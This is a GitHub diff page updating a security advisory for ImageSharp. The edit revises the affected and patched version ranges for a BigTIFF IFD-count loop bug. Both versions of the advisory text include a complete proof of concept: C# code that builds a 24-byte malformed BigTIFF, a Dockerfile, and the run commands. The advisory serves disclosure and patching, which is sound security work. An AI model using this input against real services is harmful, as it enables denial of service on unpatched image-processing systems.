Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wmxv-xphr-5c9g",
"modified": "2026-10-07T20:24:32Z",
"modified": "2026-10-07T20:24:33Z",
"published": "2026-10-07T20:24:32Z",
"aliases": [
"CVE-2026-106116"
],
"summary": "ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop",
"details": "### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n // The count field is controlled by the input.\n private static byte[] BuildBigTiff(ulong entryCount)\n {\n byte[] bytes = new byte[24];\n bytes[0] = 0x49; bytes[1] = 0x49; // II\n bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic\n bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets\n BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n return bytes;\n }\n\n private static void Main(string[] args)\n {\n ulong entryCount = ulong.Parse(args[0]);\n byte[] bytes = BuildBigTiff(entryCount);\n Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n try\n {\n using var stream = new MemoryStream(bytes);\n using Image image = Image.Load(stream);\n Console.Error.WriteLine(\"completed\");\n }\n catch (Exception ex)\n {\n Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n }\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
"details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n // The count field is controlled by the input.\n private static byte[] BuildBigTiff(ulong entryCount)\n {\n byte[] bytes = new byte[24];\n bytes[0] = 0x49; bytes[1] = 0x49; // II\n bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic\n bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets\n BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n return bytes;\n }\n\n private static void Main(string[] args)\n {\n ulong entryCount = ulong.Parse(args[0]);\n byte[] bytes = BuildBigTiff(entryCount);\n Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n try\n {\n using var stream = new MemoryStream(bytes);\n using Image image = Image.Load(stream);\n Console.Error.WriteLine(\"completed\");\n }\n catch (Exception ex)\n {\n Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n }\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -27,15 +27,31 @@
{
"introduced": "2.0.0"
},
{
"fixed": "3.2.0"
}
]
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 4.1.1"
}
]
}
],
"references": [
Expand Down
Loading